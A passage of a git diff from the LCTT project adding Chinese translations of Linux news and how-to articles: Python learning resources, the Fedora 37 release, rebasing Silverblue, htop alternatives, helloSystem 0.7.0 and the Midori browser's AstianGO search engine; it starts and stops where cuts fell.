+[1]: https://opensource.com/article/22/11/twitter-vs-mastodon +[2]: https://mastodon.social/ +[3]: https://opensource.com/sites/default/files/2022-11/1signin-createaccount.png +[4]: https://opensource.com/sites/default/files/2022-11/2signingup.png +[5]: https://joinmastodon.org/servers +[6]: https://opensource.com/sites/default/files/2022-11/3gettingstarted.png +[7]: https://opensource.com/sites/default/files/2022-11/4topics.png +[8]: https://opensource.com/sites/default/files/2022-11/5techtopic.png +[9]: https://fosstodon.org/ +[10]: https://opensource.com/sites/default/files/2022-11/6signin.jpg +[11]: https://opensource.com/sites/default/files/2022-11/7confirmation.png +[12]: https://opensource.com/sites/default/files/2022-11/8welcome.png +[13]: https://opensource.com/sites/default/files/2022-11/9appearance.png +[14]: https://opensource.com/sites/default/files/2022-11/10notifications.png +[15]: https://github.com/mastodon/mastodon/blob/main/CONTRIBUTING.md diff --git a/published/202211/20221112.0 ⭐️ Learn Python 7 of my favorite resources.md b/published/202211/20221112.0 ⭐️ Learn Python 7 of my favorite resources.md new file mode 100644 index 0000000000..8f359d285a --- /dev/null +++ b/published/202211/20221112.0 ⭐️ Learn Python 7 of my favorite resources.md @@ -0,0 +1,82 @@ +[#]: subject: "Learn Python: 7 of my favorite resources" +[#]: via: "https://opensource.com/article/22/11/learn-python" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15267-1.html" + +学习 Python:我最喜欢的 7 个资源 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/19/105720mfgygbzyg3ccttce.jpg) + +> 这些年来,我通过这些开源资源提高了我的 Python 技能。 + +我最近决定进一步学习 Python,以便提高我的教学技能,拓宽我的学生的视野。在这个过程中,我发现了这些优秀的资源,让我学习新的代码,并提高了对 Python 的整体理解。 + +### 1、《教孩子学编程 Python 语言版》 + +我的 Python 之旅大约是 7 年前开始的,当时我发现了 Apple LOGO 和 Python 中的 [Turtle 模块][1] 之间的联系。当时使用的 Linux 计算机的默认 Python 版本为 Python 2.7,我很快发现我想使用 Python 3。我成功地安装了它,并开始使用 Turtle 模块编写一些简单的程序。在阅读 Dr. Bryson Payne 的 《[教孩子学编程 Python 语言版][2]》 之后,我意识到 Python 不仅仅是 Turtle。那时我安装了 [IDLE][3]。 + +### 2、IDLE + +在使用 IDLE 工作的过程中,交互式界面优化了我的体验,并让我有足够的信心来考虑向学生教授 Python。我志愿帮助我社区中的一群在家学习的孩子,很快我发现自己在教授一个有十六个孩子的班级!我很高兴他们的父母同意帮助我,否则我想我会被压垮。这个经历激发了我学习更多的欲望,以便我可以教授更多。 + +### 3.、Mu 编辑器 + +2018 年春天,我参加了 PyConUS。我听了一场由中学老师 [Nicholas Tollervey][4] 主讲的演讲,他为学龄前儿童编写了一个 Python 开发环境。[Mu 编辑器][5] 内置了一个可以帮助我找到代码中的错误的 质检工具Linter。Mu 帮助我提高了我的编码技能,我也能够与学生分享这些技能,他们也从中受益。 + +我的自信和经验增长后,我希望与更多的学生分享 Python 之旅。我与其他人合作撰写了一个申请书,以教授一个使用树莓派 4 和 Python 的课程。疫情打断了这个计划。在此期间,树莓派基金会发布了树莓派 400。2021 年春天,我使用了前一年开发的材料和一个来自当地图书馆的慷慨的资助,来 [教授两组][6] 学生如何编程。这个活动非常成功并在今年再次举办。 + +### 4、Codium + +几年前,我了解到微软的 VS Code 是一个可以在 Linux 上使用的开源代码编辑器。我最近才了解到,如何在 VS Code 中配置和使用 Python 虚拟环境。我的问题在一篇 [关于虚拟环境的文章][7] 中得到了解答,这让我可以知道如何在 Linux 计算机上设置和配置 Python 虚拟环境。大约在同一时间,我发现了 [Codium][8],一个围绕 VS Code 构建的社区项目。 + +现在我希望与我的学生分享 VS Codium 的体验,并让他们对 Python 的理解不再局限于 Turtle 模块。这种学习的热情让我寻找开源且可以在互联网上随意获得的教学资源。 + +### 5、《Python 编程练习,简单解释》 + +《[Python 编程快速上手 让繁琐工作自动化][9]》 这本书是我最喜欢的一本书。现在,作者已经发布了 《[Python 编程练习,简单解释][10]》。这两本书都可以免费在线阅读,并且都采用了知识共享许可证。 + +### 6、《每个人都可以使用 Python》 + +Dr. Charles Severance 在 2017 年发布了 《[每个人都可以使用 Python][11]》,我非常推荐这本书。他为像我这样的有抱负的程序员提供了简短的课程。课程的代码可以在 [GitHub][12] 上找到,所以你可以下载它并在自己的计算机或学校网络上安装它。 + +### 7. Python 视频 + +最近,我了解到 [Jay LaCroix][13] 在 YouTube 上有一系列精彩的视频,其中包括 28 个免费视频,从 Python 基础开始,涵盖了 [Python 编程][14] 的全面介绍。最重要的是,他使用的是 Linux 计算机,因此他的课程特别适合 Linux 编程环境。这些视频的其中一个收获是学习如何使用 [nano][15] 作为编程环境,它默认情况下包含在大多数 Linux 发行版中。 + +### 你的学习之路 + +此处提到的这七个资源帮助我成长为一名程序员,它们都是开源的并可以与其他人分享。你是如何提高编程技能的?你有什么要分享的吗?在评论中告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/learn-python + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/21/9/logo-python-turtle +[2]: https://opensource.com/education/15/9/review-bryson-payne-teach-your-kids-code +[3]: https://docs.python.org/3/library/idle.html +[4]: https://us.pycon.org/2018/speaker/profile/194/ +[5]: https://opensource.com/article/20/9/teach-python-mu +[6]: https://opensource.com/article/21/6/teach-python-raspberry-pi +[7]: https://opensource.com/article/20/10/venv-python +[8]: https://opensource.com/article/22/11/python-vs-code-codium +[9]: https://automatetheboringstuff.com/#toc +[10]: https://inventwithpython.com/pythongently/ +[11]: https://www.py4e.com/lessons +[12]: https://github.com/csev/py4e +[13]: https://opensource.com/users/jlacroix +[14]: https://youtube.com/playlist?list=PLT98CRl2KxKGIazPd2nQEPbG7sQpT8LEj +[15]: https://opensource.com/article/20/12/gnu-nano diff --git a/published/202211/20221115 Announcing Fedora Linux 37.md b/published/202211/20221115 Announcing Fedora Linux 37.md new file mode 100644 index 0000000000..4ce0157c9f --- /dev/null +++ b/published/202211/20221115 Announcing Fedora Linux 37.md @@ -0,0 +1,85 @@ +[#]: subject: "Announcing Fedora Linux 37" +[#]: via: "https://fedoramagazine.org/announcing-fedora-37/" +[#]: author: "Matthew Miller https://fedoramagazine.org/author/mattdm/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15258-1.html" + +Fedora Linux 37 发布 +====== + +![][1] + +今天我很兴奋地与大家分享成千上万的 Fedora 项目贡献者的辛勤工作成果:Fedora Linux 37 版本来了!让我们看看这个最新版本给你带来了什么。一如既往,在从以前的版本升级之前,你应该确保你的系统是完全最新的。迫不及待地想开始了吗?在你阅读的同时 [下载][2]! + +> **[下载 Fedora Linux 37][2]** + +### 两个新的版本 + +Fedora 的各个“版本Edition”是针对某一特定“市场”的旗舰产品。在 Fedora Linux 37 中,我们增加了两个新版本:Fedora CoreOS 是你可能还记得的 Atomic Host 的后续版本。从 Project Atomic 和 CoreOS 的初始的工作中汲取营养,它提供了一种自动更新机制,以托管基于容器的工作负载。通过原子更新和简单的回滚,它为你的基础设施增加了安全感。 + +Fedora Cloud 也作为一个版本回来了。云计算工作组的活动已经重新开始了。Cloud 版本提供了一个很棒的 Fedora 基础,可以在你喜欢的公共或私有云中运行。AMI 将在本周晚些时候在 AWS 市场上提供,在社区频道上现在已经可以使用。请查看 [此网站][3] 以了解可以在其他云供应商或你自己的云上运行的镜像! + +### 桌面的改进 + +Fedora Workstation 专注于桌面体验。像往常一样,Fedora Workstation 采用了最新的 GNOME 版本。[GNOME 43][4] 在设置中包括一个新的设备安全面板,为用户提供关于系统中硬件和固件的安全信息。在上一个版本的基础上,更多的 GNOME 核心应用程序被移植到了最新版本的 GTK 工具包,提供了更好的性能和现代的外观。  + +在这个版本中,我们做了一些改变,让你的安装变得更精简。我们把 Firefox 浏览器的语言包分成了子包。这意味着如果你不需要本地化,你可以删除 `firefox-langpacks` 包。gettext 的运行包(帮助其他包产生多语言文本的工具)被分割成一个单独的、可选择的子包。 + +当然,我们生产的不仅仅是“版本”。Fedora [定制版][5]Spins[实验室][6]Labs 针对的是不同的受众和使用情况,包括 [Fedora Comp Neuro][7] ,它为计算神经科学提供工具,以及像 [Fedora LXQt][8] 这样的桌面环境,它提供一个轻量级桌面环境。而且,别忘了我们的备用架构。[ARM AArch64、Power 和 S390x][9]。 + +### 系统管理方面的改进 + +Fedora Server 现在可以生成一个 KVM 磁盘镜像,使在虚拟机中运行 Server 更加容易。如果你已经禁用了 SELinux(没关系 —— 我们仍然爱你!),你可以在影响较小的情况下重新开启它。自动标签现在以并行方式运行,使 “fixfiles” 操作更快。 + +为了跟上密码学的发展,这个版本引入了一个 `TEST-FEDORA39` 策略,预览了计划在未来版本中的变化。新策略之一是不再使用 SHA-1 签名。研究人员早就知道这种哈希值(就像之前的 MD5 一样)在许多安全方面的使用是不安全的。 + +在未来,我们可能会将 SHA-1 从 Fedora Linux 可接受的安全算法列表中移除。(正如 `TEST-FEDORA39` 这个名字所暗示的那样,也许最快也要到明年。)不过我们知道如今 SHA-1 哈希值仍然在使用。新的策略可以帮助你现在就测试你的关键应用程序,这样你就可以做好准备。请尝试一下,并让我们知道你在哪里遇到了问题。 + +说到密码学,openssl1.1 包现在已经废弃了。它还能用,但我们建议你更新你的代码,以使用 openssl 3。 + +### 其他更新 + +树莓派 4 现在在 Fedora Linux 中得到了正式支持,包括图形加速。在 ARM 的其他方面,Fedora Linux 37 放弃了对 ARMv7 架构(也被称为 arm32 或 armhfp)的支持。 + +在我们的“[First][10]”基础上,我们已经更新了关键的编程语言和系统库包,包括 Python 3.11、Golang 1.19、glibc 2.36 和 LLVM 15。 + +我们很高兴你能试用这个新版本!请到 下载。或者如果你已经在运行 Fedora Linux,请按照 [简易升级说明][11]。更多关于 Fedora Linux 37 的新功能的信息,请看 [发行说明][12]。 + +### 在不太可能发生的情况下... + +如果你遇到了问题,请访问我们的 [Ask Fedora][13] 用户支持论坛。这里有一个 [常见问题][14] 的分类。 + +### 谢谢大家 + +感谢在这个发布周期为 Fedora 项目做出贡献的成千上万的人。我们很高兴 Fedora 社区有你们。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/announcing-fedora-37/ + +作者:[Matthew Miller][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/mattdm/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/11/f37-release-1-816x345.jpg +[2]: https://getfedora.org +[3]: https://getfedora.org/en/cloud/ +[4]: https://release.gnome.org/43/ +[5]: https://spins.fedoraproject.org/ +[6]: https://labs.fedoraproject.org/ +[7]: https://labs.fedoraproject.org/en/comp-neuro/ +[8]: https://spins.fedoraproject.org/en/lxqt/ +[9]: https://alt.fedoraproject.org/alt/ +[10]: https://docs.fedoraproject.org/en-US/project/#_first +[11]: https://docs.fedoraproject.org/en-US/quick-docs/upgrading/ +[12]: https://docs.fedoraproject.org/en-US/fedora/f37/release-notes/ +[13]: https://ask.fedoraproject.org/ +[14]: https://ask.fedoraproject.org/c/common-issues/141/none diff --git a/published/202211/20221118 How to rebase to Fedora Linux 37 on Silverblue.md b/published/202211/20221118 How to rebase to Fedora Linux 37 on Silverblue.md new file mode 100644 index 0000000000..24833b8085 --- /dev/null +++ b/published/202211/20221118 How to rebase to Fedora Linux 37 on Silverblue.md @@ -0,0 +1,104 @@ +[#]: subject: "How to rebase to Fedora Linux 37 on Silverblue" +[#]: via: "https://fedoramagazine.org/how-to-rebase-to-fedora-linux-37-on-silverblue/" +[#]: author: "Michal Konečný https://fedoramagazine.org/author/zlopez/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15290-1.html" + +如何在 Silverblue 上变基到 Fedora Linux 37 +====== + +![][1] + +Fedora Silverblue 是 [基于 Fedora Linux 构建的桌面操作系统][2]。它非常适合日常使用、开发和基于容器的工作流程。它提供了 [众多优势][3],例如能够在出现任何问题时回滚。如果你想在 Fedora Silverblue 系统上更新或变基到 Fedora Linux 37(这些说明与 Fedora Kinoite 类似),本文将告诉你如何操作。它不仅向你展示了该做什么,而且还向你展示了在发生不可预见的事情时如何恢复。 + +在实际对 Fedora Linux 37 进行变基之前,你应该应用任何待定的更新。在终端中输入以下内容: + +``` +$ rpm-ostree update +``` + +或通过 GNOME 软件Software 应用安装更新并重新启动。 + +### 使用 GNOME 软件应用变基 + +在更新页面上,GNOME 软件Software 应用向你显示有新版本的 Fedora Linux 可用。 + +![Fedora 37 更新可用][4] + +你需要做的第一件事是下载新镜像,因此请点击“下载Download”按钮。这需要一些时间。完成后,你将看到更新已准备好安装。 + +![Fedora 37 更新准备好安装][5] + +点击 “重启并更新Restart & Upgrade” 按钮。此步骤只需要几分钟,最后计算机将重启。重启后,你将获得全新的 Fedora Linux 37 版本。很简单,不是吗? + +### 使用终端变基 + +如果你喜欢在终端中完成所有操作,那么本指南的这一部分适合你。 + +使用终端变基到 Fedora Linux 37 很容易。首先,检查 37 分支是否可用: + +``` +$ ostree remote refs fedora +``` + +你应该在输出中看到以下内容: + +``` +fedora:fedora/37/x86_64/silverblue +``` + +如果你想置顶当前部署(该部署将作为 GRUB 中的选项保留,直到你删除它),你可以通过运行以下命令来完成: + +``` +# 0 is entry position in rpm-ostree status +$ sudo ostree admin pin 0 +``` + +要删除置顶部署,请使用以下命令: + +``` +# 2 is entry position in rpm-ostree status +$ sudo ostree admin pin --unpin 2 +``` + +其中 2 是 rpm-ostree 状态中的位置。 + +接下来,将你的系统重新设置为 Fedora Linux 37 分支。 + +``` +$ rpm-ostree rebase fedora:fedora/37/x86_64/silverblue +``` + +最后,要做的最后一件事是重新启动计算机并引导至 Fedora Linux 37。 + +### 如何回滚 + +如果发生任何不好的事情,例如,如果你根本无法启动到 Fedora Linux 37,这很容易回滚。在引导时选择 GRUB 菜单中的上一个条目(如果你没有看到它,请尝试在引导过程中按 `ESC`),你的系统将以切换到 Fedora Linux 37 之前的先前状态启动。要使此更改永久生效,请使用以下命令: + +``` +$ rpm-ostree rollback +``` + +就是这样。现在你知道如何将 Fedora Silverblue 变基到 Fedora Linux 37 并回滚。那么为什么不在今天做呢? + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/how-to-rebase-to-fedora-linux-37-on-silverblue/ + +作者:[Michal Konečný][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/zlopez/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2021/04/silverblue-rebase-816x345.jpg +[2]: https://docs.fedoraproject.org/en-US/fedora-silverblue/ +[3]: https://fedoramagazine.org/give-fedora-silverblue-a-test-drive/ +[4]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/11/Screenshot-from-2022-11-15-11-11-32-1024x714.png +[5]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/11/Screenshot-from-2022-11-15-11-12-22-1024x714.png \ No newline at end of file diff --git a/published/202211/20221121.3 ⭐️⭐️ 5 htop Alternatives to Enhance Your Linux System Monitoring Experience.md b/published/202211/20221121.3 ⭐️⭐️ 5 htop Alternatives to Enhance Your Linux System Monitoring Experience.md new file mode 100644 index 0000000000..7fdb75fdd0 --- /dev/null +++ b/published/202211/20221121.3 ⭐️⭐️ 5 htop Alternatives to Enhance Your Linux System Monitoring Experience.md @@ -0,0 +1,160 @@ +[#]: subject: "5 htop Alternatives to Enhance Your Linux System Monitoring Experience" +[#]: via: "https://itsfoss.com/htop-alternatives/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15294-1.html" + +5 个 htop 替代:增强你的 Linux 系统监控体验 +====== + +![][0] + +`htop` 是一个流行的命令行工具,可以帮助监测 Linux 上的系统资源和性能。 + +**它比通常默认开箱即用的 top 好**。 + +使用 `htop`,你可以对进程进行过滤和排序,以便更好地了解情况,获得正在运行的进程的树状视图,并在需要时杀死进程。 + +![htop 2022][1] + +我使用 `htop` 而不是其他系统监控工具,因为它可以显示对我来说至关重要的东西,并允许在我需要控制运行中的服务时终止流氓进程或冻结进程。 + +但是,如果你想要其他显示更多信息,或一个看起来不同的东西,有哪些**htop 替代品**呢?让我们来看看。 + +### 1、atop + +![atop 2022][3] + +[atop][4] 可以提供所有运行的进程的细节。你可以得到你需要的所有数据,以了解你系统上的进程情况。 + +它还提供了对资源利用率进行永久记录的能力,以便进行长期分析。系统管理员可能会发现这比其他工具更有用。 + +不幸的是,它并没有为你提供漂亮的输出。因此,如果你想要的话,请继续看下面的其他替代品。 + +#### 如何安装 atop? + +对于基于 Ubuntu/Debian 的发行版,键入: + +``` +sudo apt install atop +``` + +### 2、vtop + +![vtop 2022][5] + +如果你想要一个漂亮的输出和管理进程的基本功能,[vtop][6] 是一个完美的系统监控工具。 + +正如我在其他一些文章中所说,它的输出看起来像终端中的 GUI。你可以使用鼠标,也可以选择禁用它。也可以定制它的主题。 + +它是用 Node.js 构建的。所以,你需要安装额外的包来安装它。 + +不幸的是,这个项目似乎不再积极维护。但是,在写这篇文章的时候,它对我来说还是有用的。 + +#### 如何安装 vtop? + +对于基于 Ubuntu 的发行版,在终端输入以下命令: + +``` +sudo apt install nodejs +sudo apt install npm +sudo npm install -g vtop +``` + +### 3、btop++ + +![btop][7] + +[btop++][8] 是 bashtop 和 bpytop 的一个 C++ 版本。是的,它是这些项目的第三次迭代,由同一个开发者完成。 + +`btop++` 包括完全的鼠标支持,带有一个受游戏启发的菜单系统,可以让你过滤进程、树状视图等等。 + +#### 如何安装 btop++? + +使用官方软件库,你可以很容易地在 Fedora、openSUSE 和 FreeBSD 上安装它。 + +对于 Fedora,你可以键入: + +``` +sudo dnf install btop +``` + +你可以探索它的 [GitHub 页面][8],了解在其他 Linux 发行版上的安装方式。 + +### 4、Glances + +![glances 2022][9] + +Glances 与 `htop` 类似,但有更多的功能。 + +它是一个跨平台的系统监控工具,可以将数据以 CSV 或其他格式导出,用于 InfluxDB、Elasticsearch 等。 + +你也可以利用它的网页用户界面,远程(或在不能访问终端的情况下)查看统计数据。 + +#### 如何安装 Glances? + +对于基于 Ubuntu 的发行版,你可以键入: + +``` +sudo apt install glances +``` + +### 5、nmon + +![nmon 2022 1][10] + +[nmon][11] 是一个令人印象深刻的监测工具,它可以让你控制你想显示的输出内容。 + +你可以提取监测数据(以 CSV 格式导出)并用于进一步分析。它很容易切换统计数据和在不同的视图之间进行切换。 + +默认情况下,它每两秒刷新一次数据,但你可以自定义它,并使用更多的选项来调整你的体验。 + +#### 如何安装 nmon? + +你可以在官方软件库中找到它。对于基于 Ubuntu 的发行版,在终端键入以下内容: + +``` +sudo apt install nmon +``` + +### 总结 + +[top 2022][12] + +`top` 命令工具被植入在你的 Linux 系统中。如果你想要一个基本的监控工具,想要关注系统进程和一些统计信息,`top` 就足够了。 + +我不确定它是否可以算作比 `htop` 更强的体验,这也是 `top` 没有被列入主要列表的原因。 + +正如你在这里看到的,一些监控工具可能很有趣,而且证明比 `htop` 更有洞察力。 + +*你最喜欢的 `htop` 替代品是什么?你认为 `htop` 对你的使用情况来说已经足够了吗?欢迎在下面的评论中让我知道你的想法。* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/htop-alternatives/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/11/htop-2022.png +[2]: https://itsfoss.com/linux-system-monitoring-tools/ +[3]: https://itsfoss.com/wp-content/uploads/2022/11/atop-2022.png +[4]: https://www.atoptool.nl/index.php +[5]: https://itsfoss.com/wp-content/uploads/2022/11/vtop-2022.png +[6]: https://github.com/MrRio/vtop +[7]: https://itsfoss.com/wp-content/uploads/2022/11/btop.png +[8]: https://github.com/aristocratos/btop +[9]: https://itsfoss.com/wp-content/uploads/2022/11/glances-2022.png +[10]: https://itsfoss.com/wp-content/uploads/2022/11/nmon-2022-1.png +[11]: https://nmon.sourceforge.net/pmwiki.php?n=Main.HomePage +[12]: https://itsfoss.com/wp-content/uploads/2022/11/top-2022.png +[0]: https://img.linux.net.cn/data/attachment/album/202211/27/113700npcbceb0c0prbqcn.jpg \ No newline at end of file diff --git a/published/202211/20221122.1 ⭐️⭐️ macOS Alternative helloSystem (0.7.0) is moving towards stability.md b/published/202211/20221122.1 ⭐️⭐️ macOS Alternative helloSystem (0.7.0) is moving towards stability.md new file mode 100644 index 0000000000..c4b5a4f9e1 --- /dev/null +++ b/published/202211/20221122.1 ⭐️⭐️ macOS Alternative helloSystem (0.7.0) is moving towards stability.md @@ -0,0 +1,83 @@ +[#]: subject: "macOS Alternative helloSystem (0.7.0) is moving towards stability" +[#]: via: "https://www.debugpoint.com/hellosystem-0-7-0/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15300-1.html" + +macOS 替代品 helloSystem 0.7.0 正在增强稳定性 +====== + +> 随着 helloSystem 0.7.0 的发布和更多内部工作,helloSystem 正在增强稳定性,为 macOS 提供一个“开源”的替代方案。 + +helloSystem 是一个基于 FreeBSD 的轻量级操作系统,旨在为 macOS 提供一个“开源”的替代方案。helloSystem 的主要目标是提供一个易于安装和使用的,真正“开源”的 FreeBSD 替代方案。此外,该团队还专注于从 macOS 转换过来的用户,他们可以舒适的使用类似的桌面,而不会受到系统锁定或 Linux 发行版的复杂性的影响。 + +考虑到 BSD 系统中的硬件支持,开发这样的操作系统需要时间。团队正在努力从零创建一个桌面 - “hellodesktop”。用 C++ 编写的 hellodesktop 和其他改进正在进行中。 + +![helloSystem 0.7.0 桌面][1] + +### helloSystem 0.7.0 + +在 2021 年底,该团队发布了最新一个稳定版本,基于 FreeBSD 13.0 的 [helloSystem 0.7.0][2],并且目前正在将系统移植到 FreeBSD 13.1 和 14 版本。 + +除此之外,一些新功能也可以在系统中工作了;这是一个总览: + +- 由 FreeBSD 13.0 驱动 +- 通过更新的启动时间和压缩的 UFS 文件系统改进的现场介质Live Media +- 将 ISO 镜像大小减少到 800 MB,以适合 CD +- 与 Ventoy USB creator 兼容 +- 支持英伟达 GPU,包括旧型号 +- 在目标分区安装时添加了 exFAT 支持 +- 增加了 KDE 开发的 Falkon 浏览器,附带了下载和安装 Chromium 和 Firefox 的附加菜单项 +- 系统提示音 +- 支持通过笔记本电脑键盘的专用键控制亮度和音量 + +![helloSystem 0.7.0 中的菜单与应用][3] + +除了上述内容之外,helloSystem 0.7.0 中还添加了一个新部分,以让你可以提前了解团队正在开发的功能。未来版本中将到来的一些最酷的功能包括: + +- BSD 中的 Debian 运行时安装程序,以在 BSD 中运行 Linux 应用程序! +- 一个独立的应用程序,用于下载应用程序。 +- 新的更新实用程序 + +此外,0.7.0 中还修复了一些错误并更新了翻译。 + +![安装 Linux 运行时正在开发中][4] + +话虽如此,但它仍然需要大量的时间才能成为易于使用的 BSD 变体和 macOS 的“开源”替代方案。自从我 [首次报道][5] 以来,已经在图形安装程序,桌面应用程序和错误修复方面进行了巨大的更新。我希望它在随着 2023 年移植到 FreeBSD 14 之后,会变得更加主流。 + +### 下载 + +如果你想在真实的硬件上尝试它,请先进行备份然后尝试。此外,helloSystem 现在完全兼容 [VirtualBox][6] 之类的虚拟机。你可以试试。如果你在 VirtualBox 中尝试,请确保将 CPU 更改为 64 位。 + +官方下载链接(包括 helloSystem 0.7.0 稳定版)可在 [此页面][7] 上找到,或者您可以使用下面的链接获取 ISO。 + +> **[下载 helloSystem 0.7.0][8]** + +如果你想为测试、开发或任何其他事情做出贡献,请 [访问 GitHub 页面以获取详细信息][9]。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/hellosystem-0-7-0/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/11/helloSystem-0.7.0-Desktop.jpg +[2]: https://github.com/helloSystem/ISO/releases/tag/r0.7.0 +[3]: https://www.debugpoint.com/wp-content/uploads/2022/11/Menu-and-apps-in-helloSystem-0.7.0.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/11/Installing-Linux-Runtime-is-under-development.jpg +[5]: https://www.debugpoint.com/tag/hellosystem +[6]: https://www.debugpoint.com/tag/virtualbox +[7]: https://github.com/helloSystem/ISO/releases +[8]: https://github.com/helloSystem/ISO/releases/download/r0.7.0/hello-0.7.0_0G160-FreeBSD-13.0-amd64.iso +[9]: https://github.com/helloSystem +[10]: https://www.debugpoint.com/folder-colors-in-mate-and-ubuntu/ diff --git a/published/202211/20221125.1 ⭐️ Excellent News! Midori Browser to Integrate its Own Open Source Engine for a Strong Comeback.md b/published/202211/20221125.1 ⭐️ Excellent News! Midori Browser to Integrate its Own Open Source Engine for a Strong Comeback.md new file mode 100644 index 0000000000..2f76cd89de --- /dev/null +++ b/published/202211/20221125.1 ⭐️ Excellent News! Midori Browser to Integrate its Own Open Source Engine for a Strong Comeback.md @@ -0,0 +1,107 @@ +[#]: subject: "Excellent News! Midori Browser to Integrate its Own Open Source Engine for a Strong Comeback" +[#]: via: "https://news.itsfoss.com/midori-astiango/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15304-1.html" + +Midori 浏览器将整合自己的开源搜索引擎强势归来 +====== + +> Midori 网页浏览器还是活跃的,即将到来的更新整合了一个开源搜索引擎! + +![](https://news.itsfoss.com/content/images/size/w2000/2022/11/midori-browser-astiango.jpg) + +几年前,Midori 是一个相当受欢迎的轻量级开源网页浏览器。 + +有些人认为它已经终止了,不知道它是否还在活动。 + +**好消息是:** + +作为一个 **自由开源的** 产品,**Midori 网页浏览器是活跃的(在测试阶段)**、[可用的][1] 。 + +它是一个基于 Chromium 的以 Electron 构建的浏览器,但没有谷歌的东西和隐私保护功能。 + +> 💡 2019 年,该项目被终止,并与 Astian 合并为一个移动浏览器,当时我们并没有立即得到消息该浏览器是否将卷土重来或保持开源。 + +此外,在即将到来的浏览器更新中,他们计划将自己的开源搜索引擎 **AstianGO** 与之整合。🤯 + +这与 Brave(及其搜索引擎)有些类似,但 **Brave Search 不是开源的**。 + +### AstianGO:开源搜索引擎 + +在一个 [Reddit 帖子][3] 中,来自 Astian 的某个人宣布计划在 Midori 网页浏览器中集成一个开源搜索引擎,即 [AstianGO][4],并在下次更新时加入。 + +源代码还没有发布,应该可以通过 [这个 GitLab 页面][5] 获得。 + +![Astiango][6] + +透露的细节不多,但以下是他们提到的内容: + +> 我们已经实现并开发了一个完全开源的搜索引擎,没有使用第三方的 API,它不存储用户的 IP 地址,不存储搜索历史。我们把这个搜索引擎称为 **AstianGO**,这个搜索引擎是用 PHP 开发的,它是自我托管的,尽管它还没有一个集成的更新系统,人们可以把它部署在他们的服务器上。 + +该搜索引擎使用来自谷歌、Qwant 和 Brave Search 的数据来提供结果。你可以看看它的 [FAQ][7] 来了解它的工作原理。 + +其他的浏览器,有些集成了以隐私为重点的搜索引擎,有些承诺提供隐私保护功能。 + +![][8] + +当然,这个搜索引擎看起来是一个正在进行的工作。 + +但是,一个**开源的网页浏览器,带有隐私保护的搜索引擎**(也是开源的),可能对大多数用户来说是带有太多不确定性。 + +![Midori 浏览器][9] + +Midori 的目标是通过这一补充来改变这一状况。 + +### Midori 网页浏览器的状态 + +这听起来不错,**但我认为这并没有充分的计划。** + +有一个 **AppImage** 和一个 **.deb包** 可用。它也可用于其他平台。 + +我试着从它的 [下载页面][10] 安装 Midori 浏览器(.deb 包),但我无法在 Ubuntu 22.04 LTS 上安装它 🚫 + +AppImage 文件可以使用 ✅ + +下载页面没有反映出所有的信息来告知 Linux 发行版的支持情况;它只是提到了 **Debian x64**,并没有完全翻译成英文。 + +![][11] + +所以,**我不确定我们是否可以推荐使用该浏览器**。 + +当然,考虑到它还在测试阶段,你不应该依赖它。你可以浏览它的 [GitLab 页面][12] 来了解更多。 + +### 思考? + +我认为一个新的开源搜索引擎是一件好事。我仍然不确定 Linux 的 